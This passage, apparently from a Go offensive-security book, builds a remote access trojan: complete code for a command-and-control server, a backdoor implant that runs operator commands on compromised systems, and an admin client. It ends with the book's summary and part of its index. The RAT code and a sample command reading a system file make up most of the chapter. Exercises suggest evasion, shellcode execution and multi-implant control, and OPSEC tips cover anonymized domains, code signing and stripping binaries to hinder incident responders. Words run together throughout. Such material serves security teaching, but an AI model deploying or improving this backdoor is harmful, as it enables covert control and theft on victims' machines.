explicitlyallownullvaluestobepassedintoorreturnedfrom anRPCmethod. Nowwehaveourschema.TowrapupthegRPCdefinition, weneedtocompiletheschema.Runthefollowingcommand fromthegrpcapidirectory: >protoc-I.implant.proto--go_out=plugins=grpc:./ Thiscommand,whichisavailableafteryoucompletethe initialinstallationwementionedearlier,searchesthecurrent directoryfortheProtobuffilenamedimplant.protoand producesGo-specificoutputinthecurrentdirectory.Onceyou executeitsuccessfully,youshouldhaveanewfilenamed implant.pb.goinyourgrpcapidirectory.Thisnewfilecontains theinterfaceandstructdefinitionsfortheservicesandmessages createdintheProtobufschema.We’llleveragethisfor buildingourserver,implant,andadmincomponent.Let’s buildtheseonebyone. CREATINGTHESERVER Let’sstartwiththeserver,whichwillacceptcommandsfrom theadminclientandpollingfromtheimplant.Theserverwill bethemostcomplicatedofthecomponents,sinceit’llneedto implementboththeImplantandAdminservices.Plus,sinceit’s actingasamiddlemanbetweentheadmincomponentand implant,it’llneedtoproxyandmanagemessagescomingto andfromeachside. ImplementingtheProtocolInterface Let’sfirstlookatthegutsofourserverinserver/server.go (Listing14-2).Here,we’reimplementingtheinterface methodsnecessaryfortheservertoreadandwritecommands fromandtosharedchannels. ❶typeimplantServerstruct{ work,outputchan*grpcapi.Command } typeadminServerstruct{ work,outputchan*grpcapi.Command } ❷funcNewImplantServer(work,outputchan*grpcapi.Command)*implantServer { s:=new(implantServer) s.work=work s.output=output returns } funcNewAdminServer(work,outputchan*grpcapi.Command)*adminServer{ s:=new(adminServer) s.work=work s.output=output returns } ❸func(s*implantServer)FetchCommand(ctxcontext.Context,\ empty*grpcapi.Empty)(*grpcapi.Command,error){ varcmd=new(grpcapi.Command) ❹select{ casecmd,ok:=<-s.work: ifok{ returncmd,nil } returncmd,errors.New("channelclosed") default: //Nowork returncmd,nil } } ❺func(s*implantServer)SendOutput(ctxcontext.Context,\ result*grpcapi.Command) (*grpcapi.Empty,error){ s.output<-result return&grpcapi.Empty{},nil } ❻func(s*adminServer)RunCommand(ctxcontext.Context,cmd *grpcapi.Command)\ (*grpcapi.Command,error){ varres*grpcapi.Command gofunc(){ s.work<-cmd }() res=<-s.output returnres,nil } Listing14-2:Definingtheservertypes(/ch-14/server/server.go) ToserveouradminandimplantAPIs,weneedtodefine servertypesthatimplementallthenecessaryinterface methods.ThisistheonlywaywecanstartanImplantorAdmin service.Thatis,we’llneedtohavetheFetchCommand(ctx context.Context,empty*grpcapi.Empty),SendOutput(ctxcontext.Context,result *grpcapi.Command),andRunCommand(ctxcontext.Context,cmd *grpcapi.Command)methodsproperlydefined.Tokeepour implantandadminAPIsmutuallyexclusive,we’llimplement themasseparatetypes. First,wecreateourstructs,namedimplantServerandadminServer, that’llimplementthenecessarymethods❶.Eachtype containsidenticalfields:twochannels,usedforsendingand receivingworkandcommandoutput.Thisisaprettysimple wayforourserverstoproxythecommandsandtheir responsesbetweentheadminandimplantcomponents. Next,wedefineacoupleofhelperfunctions, NewImplantServer(work,outputchan*grpcapi.Command)and NewAdminServer(work,outputchan*grpcapi.Command),thatcreatenew implantServerandadminServerinstances❷.Theseexistsolelyto makesurethechannelsareproperlyinitialized. Nowcomestheinterestingpart:theimplementationofour gRPCmethods.Youmightnoticethatthemethodsdon’t exactlymatchtheProtobufschema.Forexample,we’re receivingacontext.Contextparameterineachmethodand returninganerror.Theprotoccommandyouranearlierto compileyourschemaaddedthesetoeachinterfacemethod definitioninthegeneratedfile.Thisletsusmanagerequest contextandreturnerrors.Thisisprettystandardstuffformost networkcommunications.Thecompilersparedusfromhaving toexplicitlyrequirethatinourschemafile. ThefirstmethodweimplementonourimplantServer, FetchCommand(ctxcontext.Context,empty*grpcapi.Empty),receivesa *grpcapi.Emptyandreturnsa*grpcapi.Command❸.Recallthatwe definedthisEmptytypebecausegRPCdoesn’tallownullvalues explicitly.Wedon’tneedtoreceiveanyinputsincetheclient implantwillcalltheFetchCommand(ctxcontext.Context,empty*grpcapi .Empty)methodassortofapollingmechanismthatasks,“Hey, doyouhaveworkforme?”Themethod’slogicisabitmore complicated,sincewecansendworktotheimplantonlyifwe actuallyhaveworktosend.So,weuseaselectstatement❹on theworkchanneltodeterminewhetherwedohavework. Readingfromachannelinthismannerisnonblocking, meaningthatexecutionwillrunourdefaultcaseifthere’s nothingtoreadfromthechannel.Thisisideal,sincewe’ll haveourimplantcallingFetchCommand(ctxcontext.Context,empty *grpcapi.Empty)onaperiodicbasisasawaytogetworkona near-real-timeschedule.Intheeventthatwedohaveworkin thechannel,wereturnthecommand.Behindthescenes,the commandwillbeserializedandsentoverthenetworkbackto theimplant. ThesecondimplantServermethod,SendOutput(ctxcontext.Context, result*grpcapi.Command),pushesthereceived*grpcapi.Commandonto theoutputchannel❺.RecallthatwedefinedourCommandto havenotonlyastringfieldforthecommandtorun,butalsoa fieldtoholdthecommand’soutput.SincetheCommandwe’re receivinghastheoutputfieldpopulatedwiththeresultofa command(asrunbytheimplant)theSendOutput(ctxcontext.Context, result*grpcapi.Command)methodsimplytakesthatresultfromthe implantandputsitontoachannelthatouradmincomponent willreadfromlater. ThelastimplantServermethod,RunCommand(ctxcontext.Context,cmd *grpcapi.Command),isdefinedontheadminServertype.Itreceivesa Commandthathasnotyetbeensenttotheimplant❻.It representsaunitofworkouradmincomponentwantsour implanttoexecute.Weuseagoroutinetoplaceourworkon theworkchannel.Aswe’reusinganunbufferedchannel,this actionblocksexecution.Weneedtobeabletoreadfromthe outputchannel,though,soweuseagoroutinetoputworkon thechannelandcontinueexecution.Executionblocks,waiting foraresponseonouroutputchannel.We’veessentiallymade thisflowasynchronoussetofsteps:sendacommandtoan implantandwaitforaresponse.Whenwereceivethe response,wereturntheresult.Again,weexpectthisresult,a Command,tohaveitsoutputfieldpopulatedwiththeresultof theoperatingsystemcommandexecutedbytheimplant. Writingthemain()Function Listing14-3showstheserver/server.gofile’smain()function, whichrunstwoseparateservers—onetoreceivecommands fromtheadminclientandtheothertoreceivepollingfromthe implant.Wehavetwolistenerssothatwecanrestrictaccessto ouradminAPI—wedon’twantjustanyoneinteractingwithit —andwewanttohaveourimplantlistenonaportthatyou canaccessfromrestrictivenetworks. funcmain(){ ❶var( implantListener,adminListenernet.Listener errerror opts[]grpc.ServerOption work,outputchan*grpcapi.Command ) ❷work,output=make(chan*grpcapi.Command),make(chan *grpcapi.Command) ❸implant:=NewImplantServer(work,output) admin:=NewAdminServer(work,output) ❹ifimplantListener,err=net.Listen("tcp",\ fmt.Sprintf("localhost:%d",4444));err!=nil{ log.Fatal(err) } ifadminListener,err=net.Listen("tcp",\ fmt.Sprintf("localhost:%d",9090));err!=nil{ log.Fatal(err) } ❺grpcAdminServer,grpcImplantServer:=\ grpc.NewServer(opts...),grpc.NewServer(opts...) ❻grpcapi.RegisterImplantServer(grpcImplantServer,implant) grpcapi.RegisterAdminServer(grpcAdminServer,admin) ❼gofunc(){ grpcImplantServer.Serve(implantListener) }() ❽grpcAdminServer.Serve(adminListener) } Listing14-3:Runningadminandimplantservers(/ch-14/server/server.go) First,wedeclarevariables❶.Weusetwolisteners:onefor theimplantserverandonefortheadminserver.We’redoing thissothatwecanserveouradminAPIonaportseparate fromourimplantAPI. Wecreatethechannelswe’lluseforpassingmessages betweentheimplantandadminservices❷.Noticethatweuse thesamechannelsforinitializingboththeimplantandadmin serversviacallstoNewImplantServer(work,output)and NewAdminServer(work,output)❸.Byusingthesamechannel instances,we’relettingouradminandimplantserverstalkto eachotheroverthissharedchannel. Next,weinitiateournetworklistenersforeachserver, bindingourimplantListenertoport4444andouradminListenerto port9090❹.We’dgenerallyuseport80or443,whichare HTTP/sportsthatarecommonlyallowedtoegressnetworks, butinthisexample,wejustpickedanarbitraryportfortesting purposesandtoavoidinterferingwithotherservicesrunning onourdevelopmentmachines. Wehaveournetwork-levellistenersdefined.Nowweset upourgRPCserverandAPI.WecreatetwogRPCserver instances(oneforouradminAPIandoneforourimplantAPI) bycallinggrpc.NewServer()❺.ThisinitializesthecoregRPC serverthatwillhandleallthenetworkcommunicationsand suchforus.WejustneedtotellittouseourAPI.Wedothis byregisteringinstancesofAPIimplementations(namedimplant andadmininourexample)bycalling grpcapi.RegisterImplantServer(grpcImplantServer,implant)❻and grpcapi.RegisterAdminServer(grpcAdminServer,admin).Noticethat, althoughwehaveapackagewecreatednamedgrpcapi,we neverdefinedthesetwofunctions;theprotoccommanddid.It createdthesefunctionsforusinimplant.pb.goasameansto createnewinstancesofourimplantandadmingRPCAPI servers.Prettyslick! Atthispoint,we’vedefinedtheimplementationsofour APIandregisteredthemasgRPCservices.Thelastthingwe doisstartourimplantserverbycalling grpcImplantServer.Serve(implantListener)❼.Wedothisfromwithina goroutinetopreventthecodefromblocking.Afterall,we wanttoalsostartouradminserver,whichwedoviaacallto grpcAdminServer.Serve(adminListener)❽. Yourserverisnowcomplete,andyoucanstartitby runninggorunserver/server.go.Ofcourse,nothingisinteracting withyourserver,sonothingwillhappenyet.Let’smoveonto thenextcomponent—ourimplant. CREATINGTHECLIENTIMPLANT Theclientimplantisdesignedtorunoncompromised systems.Itwillactasabackdoorthroughwhichwecanrun operatingsystemcommands.Inthisexample,theimplantwill periodicallypolltheserver,askingforwork.Ifthereisno worktobedone,nothinghappens.Otherwise,theimplant executestheoperatingsystemcommandandsendstheoutput backtotheserver. Listing14-4showsthecontentsofimplant/implant.go. funcmain(){ var ( opts[]grpc.DialOption conn*grpc.ClientConn errerror clientgrpcapi.ImplantClient❶ ) opts=append(opts,grpc.WithInsecure()) ifconn,err=grpc.Dial(fmt.Sprintf("localhost:%d",4444),opts...);err!=nil{ ❷ log.Fatal(err) } deferconn.Close() client=grpcapi.NewImplantClient(conn)❸ ctx:=context.Background() for{❹ varreq=new(grpcapi.Empty) cmd,err:=client.FetchCommand(ctx,req)❺ iferr!=nil{ log.Fatal(err) } ifcmd.In==""{ //Nowork time.Sleep(3*time.Second) continue } tokens:=strings.Split(cmd.In,"")❻ varc*exec.Cmd iflen(tokens)==1{ c=exec.Command(tokens[0]) }else{ c=exec.Command(tokens[0],tokens[1:]...) } buf,err:=c.CombinedOutput()❼ iferr!=nil{ cmd.Out=err.Error() } cmd.Out+=string(buf) client.SendOutput(ctx,cmd)❽ } } Listing14-4:Creatingtheimplant(/ch-14/implant/implant.go) Theimplantcodecontainsamain()functiononly.Westart bydeclaringourvariables,includingoneofthe grpcapi.ImplantClienttype❶.Theprotoccommandautomatically createdthistypeforus.ThetypehasalltherequiredRPC functionstubsnecessarytofacilitateremotecommunications. Wethenestablishaconnection,viagrpc.Dial(targetstring, opts...DialOption),totheimplantserverrunningonport4444 ❷.We’llusethisconnectionforthecallto grpcapi.NewImplantClient(conn)❸(afunctionthatprotoccreatedfor us).WenowhaveourgRPCclient,whichshouldhavean establishedconnectionbacktoourimplantserver. Ourcodeproceedstouseaninfiniteforloop❹topollthe implantserver,repeatedlycheckingtoseeifthere’sworkthat needstobeperformed.Itdoesthisbyissuingacallto client.FetchCommand(ctx,req),passingitarequestcontextandEmpty struct❺.Behindthescenes,it’sconnectingtoourAPIserver. Iftheresponsewereceivedoesn’thaveanythinginthecmd.In field,wepausefor3secondsandthentryagain.Whenaunit ofworkisreceived,theimplantsplitsthecommandinto individualwordsandargumentsbycallingstrings.Split(cmd.In,"") ❻.ThisisnecessarybecauseGo’ssyntaxforexecuting operatingsystemcommandsisexec.Command(name,args...), wherenameisthecommandtoberunandargs...isalistof anysubcommands,flags,andargumentsusedbythat operatingsystemcommand.Godoesthistopreventoperating systemcommandinjection,butitcomplicatesourexecution, becausewehavetosplitupthecommandintorelevantpieces beforewecanrunit.Werunthecommandandgatheroutput byrunningc.CombinedOutput()❼.Lastly,wetakethatoutputand initiateagRPCcalltoclient.SendOutput(ctx,cmd)tosendour commandanditsoutputbacktotheserver❽. Yourimplantiscomplete,andyoucanrunitviagorun implant/implant.go.Itshouldconnecttoyourserver.Again,it’llbe anticlimactic,asthere’snoworktobeperformed.Justa coupleofrunningprocesses,makingaconnectionbutdoing nothingmeaningful.Let’sfixthat. BUILDINGTHEADMIN COMPONENT TheadmincomponentisthefinalpiecetoourRAT.It’swhere we’llactuallyproducework.Theworkwillgetsent,viaour admingRPCAPI,totheserver,whichthenforwardsitonto theimplant.Theservergetstheoutputfromtheimplantand sendsitbacktotheadminclient.Listing14-5showsthecode inclient/client.go. funcmain(){ var ( opts[]grpc.DialOption conn*grpc.ClientConn errerror clientgrpcapi.AdminClient❶ ) opts=append(opts,grpc.WithInsecure()) ifconn,err=grpc.Dial(fmt.Sprintf("localhost:%d",9090),opts...);err!=nil{ ❷ log.Fatal(err) } deferconn.Close() client=grpcapi.NewAdminClient(conn)❸ varcmd=new(grpcapi.Command) cmd.In=os.Args[1]❹ ctx:=context.Background() cmd,err=client.RunCommand(ctx,cmd)❺ iferr!=nil{ log.Fatal(err) } fmt.Println(cmd.Out)❻ } Listing14-5:Creatingtheadminclient(/ch-14/client/client.go) Westartbydefiningourgrpcapi.AdminClientvariable❶, establishingaconnectiontoouradministrativeserveronport 9090❷,andusingtheconnectioninacallto grpcapi.NewAdminClient(conn)❸,creatinganinstanceofouradmin gRPCclient.(Rememberthatthegrpcapi.AdminClienttypeand grpcapi.NewAdminClient()functionwerecreatedforusbyprotoc.) Beforeweproceed,comparethisclientcreationprocesswith thatoftheimplantcode.Noticethesimilarities,butalsothe subtledifferencesintypes,functioncalls,andports. Assumingthereisacommandlineargument,wereadthe operatingsystemcommandfromit❹.Ofcourse,thecode wouldbemorerobustifwecheckedwhetheranargumentwas passedin,butwe’renotworriedaboutitforthisexample.We assignthatcommandstringtothecmd.In.Wepassthiscmd,a *grpcapi.Commandinstance,toourgRPCclient’sRunCommand(ctx context.Context,cmd*grpcapi.Command)method❺.Behindthe scenes,thiscommandgetsserializedandsenttotheadmin serverwecreatedearlier.Aftertheresponseisreceived,we expecttheoutputtopopulatewiththeoperatingsystem commandresults.Wewritethatoutputtotheconsole❻. RUNNINGTHERAT Now,assumingyouhaveboththeserverandtheimplant running,youcanexecuteyouradminclientviagorun client/client.gocommand.Youshouldreceivetheoutputinyour adminclientterminalandhaveitdisplayedtothescreen,like this: $gorunclient/client.go'cat/etc/resolv.conf' domainHome nameserver192.168.0.1 nameserver205.171.3.25 Thereitis—aworkingRAT.Theoutputshowsthe contentsofaremotefile.Runsomeothercommandstosee yourimplantinaction. IMPROVINGTHERAT Aswementionedatthebeginningofthischapter,we purposelykeptthisRATsmallandfeature-bare.Itwon’tscale well.Itdoesn’tgracefullyhandleerrorsorconnection disruptions,anditlacksalotofbasicfeaturesthatallowyou toevadedetection,moveacrossnetworks,escalateprivileges, andmore. Ratherthanmakingalltheseimprovementsinourexample, weinsteadlayoutaseriesofenhancementsthatyoucanmake onyourown.We’lldiscusssomeoftheconsiderationsbutwill leaveeachasanexerciseforyou.Tocompletetheseexercises, you’lllikelyneedtorefertootherchaptersofthisbook,dig deeperintoGopackagedocumentation,andexperimentwith usingchannelsandconcurrency.It’sanopportunitytoput yourknowledgeandskillstoapracticaltest.Goforthand makeusproud,youngPadawan. EncryptYourCommunications AllC2utilitiesshouldencrypttheirnetworktraffic!Thisis especiallyimportantforcommunicationsbetweentheimplant andtheserver,asyoushouldexpecttofindegressnetwork monitoringinanymodernenterpriseenvironment. ModifyyourimplanttouseTLSforthesecommunications. Thiswillrequireyoutosetadditionalvaluesforthe []grpc.DialOptionssliceontheclientaswellasontheserver. Whileyou’reatit,youshouldprobablyalteryourcodesothat servicesareboundtoadefinedinterface,andlistenand connecttolocalhostbydefault.Thiswillpreventunauthorized access. Aconsiderationyou’llhavetomake,particularlyifyou’ll beperformingmutualcertificate-basedauthentication,ishow toadministerandmanagethecertificatesandkeysinthe implant.Shouldyouhardcodethem?Storethemremotely? Derivethematruntimewithsomemagicvoodoothat determineswhetheryourimplantisauthorizedtoconnectto yourserver? HandleConnectionDisruptions Whilewe’reonthetopicofcommunications,whathappensif yourimplantcan’tconnecttoyourserverorifyourserverdies witharunningimplant?Youmayhavenoticedthatitbreaks everything—theimplantdies.Iftheimplantdies,well,you’ve lostaccesstothatsystem.Thiscanbeaprettybigdeal, particularlyiftheinitialcompromisehappenedinamanner that’shardtoreproduce. Fixthisproblem.Addsomeresiliencetoyourimplantso thatitdoesn’timmediatelydieifaconnectionislost.Thiswill likelyinvolvereplacingcallstolog.Fatal(err)inyourimplant.go filewithlogicthatcallsgrpc.Dial(targetstring,opts ...DialOption)again. RegistertheImplants You’llwanttobeabletotrackyourimplants.Atpresent,our adminclientsendsacommandexpectingonlyasingleimplant toexist.Thereisnomeansoftrackingorregisteringan implant,letaloneanymeansofsendingacommandtoa specificimplant. Addfunctionalitythatmakesanimplantregisteritselfwith theserveruponinitialconnection,andaddfunctionalityfor theadminclienttoretrievealistofregisteredimplants. Perhapsyouassignauniqueintegertoeachimplantorusea UUID(checkouthttps://github.com/google/uuid/).Thiswill requirechangestoboththeadminandimplantAPIs,starting withyourimplant.protofile.AddaRegisterNewImplantRPC methodtotheImplantservice,andaddListRegisteredImplantstothe Adminservice.Recompiletheschemawithprotoc,implementthe appropriateinterfacemethodsinserver/server.go,andaddthe newfunctionalitytothelogicinclient/client.go(fortheadmin side)andimplant/implant.go(fortheimplantside). AddDatabasePersistence Ifyoucompletedthepreviousexercisesinthissection,you addedsomeresiliencetotheimplantstowithstandconnection disruptionsandsetupregistrationfunctionality.Atthispoint, you’remostlikelymaintainingthelistofregisteredimplants inmemoryinserver/server.go.Whatifyouneedtorestartthe serveroritdies?Yourimplantswillcontinuetoreconnect,but whentheydo,yourserverwillbeunawareofwhichimplants areregistered,becauseyou’llhavelostthemappingofthe implantstotheirUUID. Updateyourservercodetostorethisdatainadatabaseof yourchoosing.Forafairlyquickandeasysolutionwith minimaldependencies,consideraSQLitedatabase.Several Godriversareavailable.Wepersonallyusedgo-sqlite3 (https://github.com/mattn/go-sqlite3/). SupportMultipleImplants Realistically,you’llwanttosupportmultiplesimultaneous implantspollingyourserverforwork.Thiswouldmakeyour RATsignificantlymoreuseful,becauseitcouldmanagemore thanasingleimplant,butitrequiresprettysignificantchanges aswell. That’sbecause,whenyouwishtoexecuteacommandon animplant,you’lllikelywanttoexecuteitonasinglespecific implant,notthefirstonethatpollstheserverforwork.You couldrelyontheimplantIDcreatedduringregistrationto keeptheimplantsmutuallyexclusive,andtodirectcommands andoutputappropriately.Implementthisfunctionalitysothat youcanexplicitlychoosethedestinationimplantonwhichthe commandshouldberun. Furthercomplicatingthislogic,you’llneedtoconsiderthat youmighthavemultipleadminoperatorssendingcommands outsimultaneously,asiscommonwhenworkingwithateam. Thismeansthatyou’llprobablywanttoconvertyourworkand outputchannelsfromunbufferedtobufferedtypes.Thiswill helpkeepexecutionfromblockingwhentherearemultiple messagesin-flight.However,tosupportthissortof multiplexing,you’llneedtoimplementamechanismthatcan matcharequestorwithitsproperresponse.Forexample,if twoadminoperatorssendworksimultaneouslytoimplants, theimplantswillgeneratetwoseparateresponses.Ifoperator 1sendsthelscommandandoperator2sendstheifconfig command,itwouldn’tbeappropriateforoperator1toreceive thecommandoutputforifconfig,andviceversa. AddImplantFunctionality Ourimplementationexpectstheimplantstoreceiveandrun operatingsystemcommandsonly.However,otherC2software containsalotofotherconveniencefunctionsthatwouldbe nicetohave.Forexample,itwouldbenicetobeableto uploadordownloadfilestoandfromourimplants.Itmightbe nicetorunrawshellcode,intheeventwewantto,for example,spawnaMeterpretershellwithouttouchingdisk. Extendthecurrentfunctionalitytosupporttheseadditional features. ChainOperatingSystemCommands BecauseofthewayGo’sos/execpackagecreatesandruns commands,youcan’tcurrentlypipetheoutputofone commandasinputintoasecondcommand.Forexample,this won’tworkinourcurrentimplementation:ls-la|wc-l.Tofix this,you’llneedtoplayaroundwiththecommandvariable, whichiscreatedwhenyoucallexec.Command()tocreatethe commandinstance.Youcanalterthestdinandstdout propertiestoredirectthemappropriately.Whenusedin conjunctionwithanio.Pipe,youcanforcetheoutputofone command(ls-la,forexample)toactastheinputintoa subsequentcommand(wc-l). EnhancetheImplant’sAuthenticityandPractice GoodOPSEC GoodOPSEC Whenyouaddedencryptedcommunicationstotheimplantin thefirstexerciseinthissection,didyouuseaself-signed certificate?Ifso,thetransportandbackendservermayarouse suspicionindevicesandinspectingproxies.Instead,registera domainnamebyusingprivateoranonymizedcontactdetails inconjunctionwithacertificateauthorityservicetocreatea legitimatecertificate.Further,ifyouhavethemeanstodoso, considerobtainingacode-signingcertificatetosignyour implantbinary. Additionally,considerrevisingthenamingschemeforyour sourcecodelocations.Whenyoubuildyourbinaryfile,the filewillincludepackagepaths.Descriptivepathnamesmay leadincidentrespondersbacktoyou.Further,whenbuilding yourbinary,considerremovingdebugginginformation.This hastheaddedbenefitofmakingyourbinarysizesmallerand moredifficulttodisassemble.Thefollowingcommandcan achievethis: $gobuild-ldflags="-s-w"implant/implant.go Theseflagsarepassedtothelinkertoremovedebugging informationandstripthebinary. AddASCIIArt Yourimplementationcouldbeahotmess,butifithasASCII art,it’slegitimate.Okay,we’renotseriousaboutthat.But everysecuritytoolseemstohaveASCIIartforsomereason, somaybeyoushouldaddittoyours.Greetzoptional. SUMMARY Goisagreatlanguageforwritingcross-platformimplants, liketheRATyoubuiltinthischapter.Creatingtheimplant waslikelythemostdifficultpartofthisproject,becauseusing Gotointeractwiththeunderlyingoperatingsystemcanbe challengingcomparedtolanguagesdesignedfortheoperating systemAPI,suchasC#andtheWindowsAPI.Additionally, becauseGobuildstoastaticallycompiledbinary,implants mayresultinalargebinarysize,whichmayaddsome restrictionsondelivery. Butforbackendservices,thereissimplynothingbetter. Oneoftheauthorsofthisbook(Tom)hasanongoingbetwith anotherauthor(Dan)thatifheeverswitchesfromusingGo forbackendservicesandgeneralutility,he’llhavetopay $10,000.Thereisnosignofhimswitchinganytimesoon (althoughElixirlookscool).Usingallthetechniques describedinthisbook,youshouldhaveasolidfoundationto startbuildingsomerobustframeworksandutilities. Wehopeyouenjoyedreadingthisbookandparticipating intheexercisesasmuchaswedidwritingit.Weencourage youtokeepwritingGoandusetheskillslearnedinthisbook tobuildsmallutilitiesthatenhanceorreplaceyourcurrent tasks.Then,asyougainexperience,startworkingonlarger codebasesandbuildsomeawesomeprojects.Tocontinue growingyourskills,lookatsomeofthemorepopularlarge Goprojects,particularlyfromlargeorganizations.Watchtalks fromconferences,suchasGopherCon,thatcanguideyou throughmoreadvancedtopics,andhavediscussionsonpitfalls andwaystoenhanceyourprogramming.Mostimportantly, havefun—andifyoubuildsomethingneat,tellusaboutit! Catchyouontheflippity-flip. INDEX A Arecords,104,109–111 AbstractSyntaxNotationOne(ASN.1)encoding,133–135, 137–138 acme/autocert,235 Add(int),27 AddressResolutionProtocol(ARP)poisoning,178 AdvancedEncryptionStandard(AES)algorithm,242 ancillarychunks,302 anonymousfunctions,126 APIinteraction overview,51–53 Bingscraping,68–76 Metasploit,59–68 Shodan,51–59 APIInfostruct,55 append()function,11 ARP(AddressResolutionProtocol)poisoning,178 ASN.1(AbstractSyntaxNotationOne)encoding,133–135, 137–138 assembly,216 asymmetricalgorithms,234 asymmetriccryptography,245.Seealsoencryption Atom,GitHub,4–5 authentication,67,86–88,239–241 B backticks,19 baseworkspacedirectory,2 Base64encoding,215–216 bcrypthashing,235,237–239 Beacon,121 BerkeleyPacketFilter(BPF),175,181.Seealsotcpdump bestpractices coding,19,49,66,185,195,329 security,96,236 bindirectory,2 binaries,2 binarydatahandling,213–216 Bing,68–76 bodyTypeparameter,46 braces,14 breakstatements,14 bruteforce,252–261 bufferoverflowfuzzing,188–192 bufferedchannels,29,37–39 bufiopackage,38,112–113,197 buildcommand,7 buildconstraints,7–8 byteslices,19 bytespackage,197 C C,201–212,290–293 Ctransform,213 CaddyServer,127 .Call()method,273 canonicalname(CNAME)records,109–111 capture()function,184 CGOpackage,291 channels,16–17 Checkerinterface,220–222 CipherBlockChaining(CBC)mode,242 ciphertext,234 cleartext overview,234 passwords,150 sniffing,178–180 clientimplants,323–325,327–329 Clientstruct,53–54 clonedsites,90–93 Close()method,25 closedports,22 Cmd,41 CNAMErecords,109–111 CobaltStrike,118–124,278 COFFFileHeader,282–283 collision,234 Command()function,41 commands buildcommand,7 cross-compiling,7–8 gocommands,6–9 setcommand,3 complexdatatypes,10–11 concurrency,16–17,37 concurrentscanning,26–32 Conn,35–38 connections,24–25,35,327 constraints,7–8 controlstructures,14–16 conveniencefunctions,46–47,140 Copy()function,40 createChunkCRC()method,304–305 CreateRemoteThread()Windowsfunction,275–276 credential-harvestingattacks,90–93 criticalchunks,302 cross-compiling,7–8 cross-sitescripting,94 cryptopackage,197,235 cryptography overview,234–235 hashing,234–239 curl,40,79 D DataDirectory,285–287 datamapping,71–73,125 datatypes channels,16 maps,11 primitive,10–11 slices,11 databaseminers,161–170 debugpackage,197 decoderfunction,300 decodingprocess,308 decryption,234.Seealsoencryption DefaultServerMux,78–79 defer,49 DELETErequests,47–48 deptool,9 developmentenvironmentsetup,1–10 Dial()method,24 dialects,132–133 directives,19 DirtyCOW,201–204 DNSclients,104–117 DNSproxies,124–127 DNSservers,117–129 DNStunneling,121 doloops,15 Docker,90,118–122,154–158 documentmetadata,69 DocumentObjectModel(DOM),74 domainfronting,98 DOSHeader,281 DWORD,271 E echoservers,32,35–37 Empire,121 Encode()method,65 encodeDecode()function,308 encodingpackage,197 encodingprocess,308 encryption,234,242–252 endiannessfunction,299 errorhandling,17–18 errormessages,51 ExclusiveOR(XOR),307–312 ExecutableandLinkableFormat(ELF),203 exploitation,196–212 exportaddresstable(EAT),279 F fieldtags,19–20,139 filesystems,170–171 filetypefilter,73 filteredports,22 filteringsearchresults,73–76 firewalls,22–23 fixedfieldtag,140 Flusher,42 fmtpackage,25 FOCA,69 Foostruct,19 forloop,15 formatting data,38,113–114 sourcecode,9 Frida,278 fullyqualifieddomainname(FQDN),104 fuzzing,188–196 G gapingsecurityholes,41 Get()function,46 get()HTTPfunction,227–229 GetLoadLibAddress()function,275 GetProcessAddress()Windowsfunction,275 getRegex()function,163 GetSchema()function,163,165 Gieben,Miek,104 GitHubAtom,4–5 GNUCompilerCollection(GCC),290 gobuildcommand,6–7 GoDNSpackage,104 godoccommand,8 gofmtcommand,9 gogetcommand,8–9 GoPlaygroundexecutionenvironment,10 goruncommand,6 GoSyntax complexdatatypes,10–11 concurrency,16–17 controlstructures,14–16 datatypes,10–11 interfacetypes,13 maps,11 patterns,12–14 pointers,12 primitivedatatypes,10–11 slices,11 structtypes,12–13 govetcommand,9 GOARCHconstraint,7–8 GoLand,5–6 golintcommand,9 GOOSconstraint,7–8 gopacketpackage,174 gopacket/pcapsubpackage,174–175 GOPATHenvironmentvariable,2–3 goquerypackage,69 gorilla/muxpackage,82–83,84,101 gorilla/websocketpackage,96 GOROOTenvironmentvariable,2–3 goroutines,16–17,26–32 gRPCframework,316–319 gsspackage,138 H HandleFunc()method,82 handler()function,75–76 handles,271.Seealsotokens handshakeprocess,22–23 hash-basedauthentication,147–150 hashing,234–239 Head()function,46 head()HTTPfunction,226–227 hextransform,214 hexadecimal198,281,297 HMAC(Keyed-HashMessageAuthenticationCode)standard, 240–241 Holt,Matt,127 hostsearch,55–57 HTTPclients overview,46–51 Bingscraping,68–76 Metasploitinteraction,59–68 Shodaninteraction,51–59 HTTPservers overview,78–90 credential-harvestingattacks,90–93 multiplexing,98–102 WebSocketAPI(WebSockets),93–98 http.HandleFunc(),78–79 I ifstatements,18 implantcode,323–325,327–329 importaddresstable(IAT),279 indexingmetadata,68–76 infiniteloops,37 init()function,101 input/output(I/O)tasks,32–35 instreamsetfilter,73 integrateddevelopmentenvironments(IDEs),3–6 interface{}type,97 interfacetypes,13 iopackage,32,197 io.Pipe()function,43 io.ReadCloser,49 io.Reader,32–35,46 ioutil.ReadAll()function,49 io.Writer,32–35 J Java,118–120 JavaScript,94–95 JBoss,198 JetBrainsGoLand,5–6 jQuerypackage,69 JSBin,94 JSON,19,50,54,139,159 K Kerberos,133 Kernel32.dll,275 Keyed-HashMessageAuthenticationCode(HMAC)standard, 240–241 keylogging,93–98 Kozierok,CharlesM.,22 L labenvironments,118–121 lenfieldtag,140 libraries,2 lightweightthreads,16–17 loadLibraryA()function,275 Login()method,66 Logout()method,66,68 loops,15,37 Luaplug-ins,225–232 Luhnchecks,253–254 M madvise()function,205 magicbytes,296 main()function,17 mainpackage,6 make()function,11 MandatoryIntegrityControl,271 mappingdata,71–73,125 maps,11 Marshal()method,19 marshalData()method,305 marshalinginterfaces,135 MD5hashes,236–237 memory,273–274 messageauthentication,239–241.Seealsoauthentication messageauthenticationcodes(MACs),234 MessagePack,60 metadata,69,138–139 MetasploitFramework,59–68,213 Meterpreter,61,98–102 MicrosoftAPIdocumentation,263–265 MicrosoftSQL(MSSQL)Serverdatabases,157–158, 160–161 MicrosoftVisualStudioCode,5 middleware,80–81,83–88 MinGW-w64,290 modtool,9 MongoDBdatabases,154–156,158–160 MsfVenom,213,278 Msgstruct,106–107 MSYS2,290 multichannelcommunication,30–32 multiplexing,98–102 mutex,129 mutualauthentication,248–252 MySQLdatabases,156–157,160–161 N namedfunctions,126 nativeplug-ins,218–224 negronipackage,83–88 Nessusvulnerabilityscanner,217 netpackage,24–25,197 Netcat,40–44 net.Conn,35 net/httpstandardpackage,46,48 New()helperfunction,53–54 NewProperties()function,72–73 NewRequest()function,48 Nmap,225 nonconcurrentscanning,25–26 NoSQLdatabases,154,158 NTLANManager(NTLM)authentication,150–151 NTLMSecuritySupportProvider(NTLMSSP),133–135 NTOWFv2,148 numtransform,214 O obfuscation,307 OfficeOpenXMLdocuments,69 offsetfieldtag,140 offsetvalues,300 omitempty,62 openports,22 OPSEC,329 OptionalHeader,284–285 Oracle,154 ospackage,197 